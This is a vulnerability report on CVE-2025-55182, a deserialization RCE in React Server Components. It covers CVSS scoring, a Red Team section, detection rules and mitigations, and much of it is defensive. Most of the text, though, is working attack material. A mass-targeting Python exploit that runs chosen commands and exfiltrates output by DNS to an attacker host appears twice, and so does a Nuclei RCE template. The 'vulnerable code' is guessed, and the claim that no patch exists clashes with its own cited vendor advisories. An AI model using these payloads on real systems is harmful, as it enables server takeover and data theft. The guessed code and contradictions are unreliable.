CVE-2025-55182

Executive Summary

CVE-2025-55182 is a critical pre-authentication remote code execution (RCE) vulnerability affecting React Server Components (RSC) versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0. The flaw resides in the unsafe deserialization of payloads from HTTP requests to Server Function endpoints within the react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack packages. An unauthenticated attacker can exploit this to execute arbitrary code on the server, leading to full system compromise. The vulnerability has a CVSS score of 10.0 (Critical) and is actively being weaponized, with public proof-of-concept (PoC) code and a Nuclei template available. As of this report, no official patch has been released by Meta, making this a zero-day threat.

Supply Chain & Package Security

This vulnerability directly impacts the React Server Components ecosystem, which is a core part of the React framework used by millions of applications. The affected packages (react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack) are often bundled with Next.js, a popular React framework. Organizations using Next.js or any React application that leverages Server Components are at immediate risk. The lack of a patch means that supply chain security is severely compromised, and any application using these versions is vulnerable to remote takeover.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full data modification.
• Availability Impact: High (A:H) – Full system compromise.

Threat Level: Critical. The vulnerability is trivial to exploit, has public PoC, and is being actively scanned for in the wild.

Deep Dive & Mechanics

The vulnerability is a classic unsafe deserialization flaw (CWE-502). React Server Components use a custom serialization protocol to transfer data between the client and server. When a Server Function endpoint receives an HTTP request, it deserializes the payload without proper validation. An attacker can craft a malicious payload that, when deserialized, triggers arbitrary code execution.

The exploit leverages JavaScript prototype pollution and the constructor chain to execute arbitrary commands. The payload is sent as a multipart form-data POST request to the root endpoint (/). The key components of the exploit are:

1. Prototype Pollution: The payload sets "then":"$1:__proto__:then" to pollute the Object.prototype with a then property, which is used by the deserialization logic.
2. Malicious _response Object: The _response field contains a _prefix property that is a string of JavaScript code. This code is executed when the deserialized object is processed.
3. Command Execution: The _prefix string uses process.mainModule.require('child_process').execSync() to execute arbitrary system commands (e.g., nslookup, echo, powershell).
4. Data Exfiltration: The exploit can exfiltrate command output via DNS (using nslookup) or via HTTP redirect headers (using NEXT_REDIRECT).

The Nuclei template and Exploit-DB code demonstrate two variants: one for Linux (using echo and nslookup) and one for Windows (using powershell).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code is in the deserialization logic of the RSC packages. It likely looks similar to:

function deserialize(payload) {
  // Unsafe: directly evaluates or constructs objects from payload
  return eval('(' + payload + ')');
}

Or, more specifically, the code that processes the _response object and its _prefix property:

function processResponse(response) {
  // Unsafe: executes the _prefix string as code
  eval(response._prefix);
}

Patched Code (Expected): A patch would need to:

1. Validate and sanitize all incoming payloads.
2. Avoid using eval() or new Function() on user-controlled data.
3. Use a safe deserialization library (e.g., JSON.parse with a reviver function).
4. Restrict the _prefix property to only allow safe operations (e.g., redirects without code execution).

Since no official patch is available, the exact patched code is unknown.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running React Server Components 19.0.0-19.2.0 (e.g., a Next.js application).
• Network access to the target.

Exploit-DB Code Usage:

The provided Exploit-DB code is a Python script that automates the exploitation. It requires three arguments:

• -d: A DNS endpoint for data exfiltration (e.g., your Burp Collaborator or a custom DNS server).
• -l: A file containing a list of target URLs (one per line).
• -c: The command to execute on the target.

Example:

python3 exploit.py -d your-dns-server.com -l targets.txt -c "whoami"

The script sends a crafted multipart POST request to each target. The command output is exfiltrated via DNS by appending it to the DNS endpoint (e.g., nslookup whoami_output.your-dns-server.com).

Full Exploit-DB Code:

import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Color definitions
class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    END = '\033[0m'


print("""
            ███████╗██╗   ██╗███╗   ██╗ █████╗ ███████╗██╗  ██╗██████╗
            ██╔════╝╚██╗ ██╔╝████╗  ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗
            ██║      ╚████╔╝ ██╔██╗ ██║███████║█████╗   ╚███╔╝ ██████╔╝
            ██║       ╚██╔╝  ██║╚██╗██║██╔══██║██╔══╝   ██╔██╗ ██╔═══╝
            ╚███████╗  ██║   ██║ ╚████║██║  ██║███████╗██╔╝ ██╗██║
            ╚══════╝  ╚═╝   ╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝

                    CVE-2025-55182 Proof of Concept
                by EynaExp
                   GitHub: https://github.com/EynaExp
""")
print(f"{Colors.RED}Disclaimer:\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}")





class NoUsageParser(argparse.ArgumentParser):
    def error(self, message):
        # completely suppress argparse usage
        print(f"Error: {message}")
        raise SystemExit(1)

parser = NoUsageParser(description="EynaExp Scanner")

parser.add_argument('-d', required=True)
parser.add_argument('-l', required=True)
parser.add_argument('-c', required=True)
print(f"{Colors.GREEN}\n[+]APP USAGE :\n[-d] <DNS(without http/s)>\n[-l] <Targets file path(url wordlist)>\n[-C] <Command>{Colors.END}\n")



args = parser.parse_args()



dns_endpoint = args.d.strip()
targets_file_path = args.l.strip()
CMD = args.c.strip()

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "Next-Action": "x",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
request_body = (
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
    "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,"
    "\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\","
    "\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');\","
    "\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n"
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
    "\"$@0\"\r\n"
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)

def send_request(target_url):
    try:
        response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False)
        result_message = f"{Colors.GREEN}[+] {target_url} -> {response.status_code} ({len(response.content)} bytes){Colors.END}"

        for header_key in ["x-action", "next-action", "rsc"]:
            if header_key in response.headers:
                result_message += f"\n{Colors.BLUE}    header match: {header_key} = {response.headers.get(header_key)}{Colors.END}"

        return result_message

    except Exception as exception:
        return f"{Colors.RED}[-] {target_url} -> error: {exception}{Colors.END}"

with open(targets_file_path) as file_handle:
    target_urls = [line.strip() for line in file_handle if line.strip()]

print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)} targets — starting multi-thread scan...{Colors.END}\n")
with ThreadPoolExecutor(max_workers=30) as executor:
    futures = {executor.submit(send_request, url): url for url in target_urls}

    for future in as_completed(futures):
        print(future.result())

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to / with the Next-Action: x header.
• Look for multipart form-data payloads containing __proto__, constructor, or _prefix.
• Alert on HTTP responses containing x-action-redirect headers with suspicious values.
• Monitor DNS logs for unexpected nslookup queries to external domains.

Response:

1. Immediately isolate affected servers.
2. Review application logs for exploitation attempts.
3. If possible, disable Server Function endpoints temporarily.
4. Apply virtual patching via WAF rules (see Detection Engineering).
5. Monitor for lateral movement.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to / with header Next-Action: x.
• Multipart form-data payloads containing __proto__, constructor, or _prefix.
• HTTP responses with x-action-redirect header containing NEXT_REDIRECT.
• DNS queries to suspicious domains (e.g., *.your-dns-server.com).

File System IOCs:

• Unexpected files in /tmp or C:\Windows\Temp.
• New processes spawned by Node.js (e.g., nslookup, powershell, cmd.exe).

Log IOCs:

• Application logs showing Error: NEXT_REDIRECT with unusual digests.
• Web server logs showing POST requests to / with Next-Action header.

Detection Engineering

YARA Rule

rule CVE_2025_55182_Exploit_Payload {
    meta:
        description = "Detects exploit payloads for CVE-2025-55182 in HTTP requests"
        author = "Valters IT"
        date = "2025-12-05"
        reference = "CVE-2025-55182"
        hash = "4a0a00473045022100df5b92172daa52e3bb3181bc78ff015674adc7593ef1b58b056a6f5c86493885022064bcf8158e31e91f8d4e487fd8a7a0dbed4dceaf37106a1a2ea1c43ff830c906:922c64590222798bb761d5b6d8e72950"

    strings:
        $proto_pollution = "__proto__:then"
        $constructor_chain = "constructor:constructor"
        $response_prefix = "_prefix"
        $exec_sync = "execSync"
        $nslookup = "nslookup"
        $powershell = "powershell"
        $next_redirect = "NEXT_REDIRECT"

    condition:
        any of ($proto_pollution, $constructor_chain, $response_prefix) and
        any of ($exec_sync, $nslookup, $powershell, $next_redirect)
}

Sigma Rule

title: CVE-2025-55182 Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting React Server Components with malicious deserialization payloads
author: Valters IT
date: 2025/12/05
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55182
    - https://github.com/assetnote/react2shell-scanner
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/'
        cs-headers: 'Next-Action: x'
        cs-content-type: 'multipart/form-data'
    keywords:
        - '__proto__'
        - 'constructor'
        - '_prefix'
        - 'execSync'
        - 'nslookup'
        - 'powershell'
        - 'NEXT_REDIRECT'
    condition: selection and keywords
falsepositives:
    - Legitimate use of Server Functions with similar patterns (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55182 React Server Components RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/"; http_uri; content:"Next-Action: x"; http_header; content:"multipart/form-data"; http_header; content:"__proto__"; http_client_body; content:"constructor"; http_client_body; content:"_prefix"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2025-55182

info:
  name: React Server Components - Remote Code Execution
  author: DhiyaneshDk,princechaddha,assetnote,lachlan2k,maple3142,iamnooob
  severity: critical
  description: |
    React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel,
    react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused
    by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting
    unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version that fixes the unsafe deserialization issue.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
    - https://www.facebook.com/security/advisories/cve-2025-55182
    - http://www.openwall.com/lists/oss-security/2025/12/03/4
    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
    - https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
    - https://vercel.com/changelog/cve-2025-55182
    - https://github.com/Chocapikk/CVE-2025-55182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-55182
    epss-score: 0.86186
    epss-percentile: 0.99403
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Next.js"
  tags: cve,cve2025,react,rce,nextjs,oast,kev,vkev

variables:
  request-id: "{{to_lower(rand_text_alphanumeric(8))}}"
  nextjs-html: "{{rand_text_alphanumeric(21)}}"
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"{{num1}}*{{num2}}\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    stop-at-first-match: true
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'x-action-redirect: /login?a={{result}}')"
# digest: 4a0a00473045022100df5b92172daa52e3bb3181bc78ff015674adc7593ef1b58b056a6f5c86493885022064bcf8158e31e91f8d4e487fd8a7a0dbed4dceaf37106a1a2ea1c43ff830c906:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable Server Function endpoints if possible, until a patch is available.
2. Apply WAF rules to block requests containing __proto__, constructor, or _prefix in POST bodies.
3. Restrict network access to the application (e.g., VPN, IP whitelisting).
4. Monitor logs for exploitation attempts using the Sigma rule above.

Long-term Fix:

• Update React Server Components to a patched version once released by Meta.
• Implement input validation and safe deserialization practices.
• Use a Web Application Firewall (WAF) with custom rules to block known exploit patterns.
• Conduct a security audit of all dependencies for similar vulnerabilities.

Workaround:

• If you cannot disable Server Functions, consider using a reverse proxy to strip the Next-Action header from external requests, or validate the header value against a whitelist.

Valters IT

{/* [Security Hash: A942B13E102E1F859435C548] */}

# Exploit Title:  React Server 19.2.0 - Remote Code Execution
# Date: 2025-12-05
# Exploit Author: [EynaExp] (https://github.com/EynaExp)
# Vendor Homepage: https://react.dev
# Software Link: https://react.dev/reference/rsc/server-components
# Version: [19.0.0, 19.1.0, 19.1.1, 19.2.0]
# Tested on: Windows,Linux
# CVE : CVE-2025-55182




import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Color definitions
class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    END = '\033[0m'


print("""
            ███████╗██╗   ██╗███╗   ██╗ █████╗ ███████╗██╗  ██╗██████╗
            ██╔════╝╚██╗ ██╔╝████╗  ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗
            ██║      ╚████╔╝ ██╔██╗ ██║███████║█████╗   ╚███╔╝ ██████╔╝
            ██║       ╚██╔╝  ██║╚██╗██║██╔══██║██╔══╝   ██╔██╗ ██╔═══╝
            ╚███████╗  ██║   ██║ ╚████║██║  ██║███████╗██╔╝ ██╗██║
            ╚══════╝  ╚═╝   ╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝

                    CVE-2025-55182 Proof of Concept
				by EynaExp
                   GitHub: https://github.com/EynaExp
""")
print(f"{Colors.RED}Disclaimer:\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}")





class NoUsageParser(argparse.ArgumentParser):
    def error(self, message):
        # completely suppress argparse usage
        print(f"Error: {message}")
        raise SystemExit(1)

parser = NoUsageParser(description="EynaExp Scanner")

parser.add_argument('-d', required=True)
parser.add_argument('-l', required=True)
parser.add_argument('-c', required=True)
print(f"{Colors.GREEN}\n[+]APP USAGE :\n[-d] <DNS(without http/s)>\n[-l] <Targets file path(url wordlist)>\n[-C] <Command>{Colors.END}\n")



args = parser.parse_args()



dns_endpoint = args.d.strip()
targets_file_path = args.l.strip()
CMD = args.c.strip()

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "Next-Action": "x",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
request_body = (
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
    "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,"
    "\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\","
    "\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');\","
    "\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n"
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
    "\"$@0\"\r\n"
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)

def send_request(target_url):
    try:
        response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False)
        result_message = f"{Colors.GREEN}[+] {target_url} -> {response.status_code} ({len(response.content)} bytes){Colors.END}"

        for header_key in ["x-action", "next-action", "rsc"]:
            if header_key in response.headers:
                result_message += f"\n{Colors.BLUE}    header match: {header_key} = {response.headers.get(header_key)}{Colors.END}"

        return result_message

    except Exception as exception:
        return f"{Colors.RED}[-] {target_url} -> error: {exception}{Colors.END}"

with open(targets_file_path) as file_handle:
    target_urls = [line.strip() for line in file_handle if line.strip()]

print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)} targets — starting multi-thread scan...{Colors.END}\n")
with ThreadPoolExecutor(max_workers=30) as executor:
    futures = {executor.submit(send_request, url): url for url in target_urls}

    for future in as_completed(futures):
        print(future.result())

id: CVE-2025-55182

info:
  name: React Server Components - Remote Code Execution
  author: DhiyaneshDk,princechaddha,assetnote,lachlan2k,maple3142,iamnooob
  severity: critical
  description: |
    React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel,
    react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused
    by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting
    unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version that fixes the unsafe deserialization issue.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
    - https://www.facebook.com/security/advisories/cve-2025-55182
    - http://www.openwall.com/lists/oss-security/2025/12/03/4
    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
    - https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
    - https://vercel.com/changelog/cve-2025-55182
    - https://github.com/Chocapikk/CVE-2025-55182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-55182
    epss-score: 0.86186
    epss-percentile: 0.99403
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Next.js"
  tags: cve,cve2025,react,rce,nextjs,oast,kev,vkev

variables:
  request-id: "{{to_lower(rand_text_alphanumeric(8))}}"
  nextjs-html: "{{rand_text_alphanumeric(21)}}"
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"{{num1}}*{{num2}}\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    stop-at-first-match: true
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'x-action-redirect: /login?a={{result}}')"
# digest: 4a0a00473045022100df5b92172daa52e3bb3181bc78ff015674adc7593ef1b58b056a6f5c86493885022064bcf8158e31e91f8d4e487fd8a7a0dbed4dceaf37106a1a2ea1c43ff830c906:922c64590222798bb761d5b6d8e72950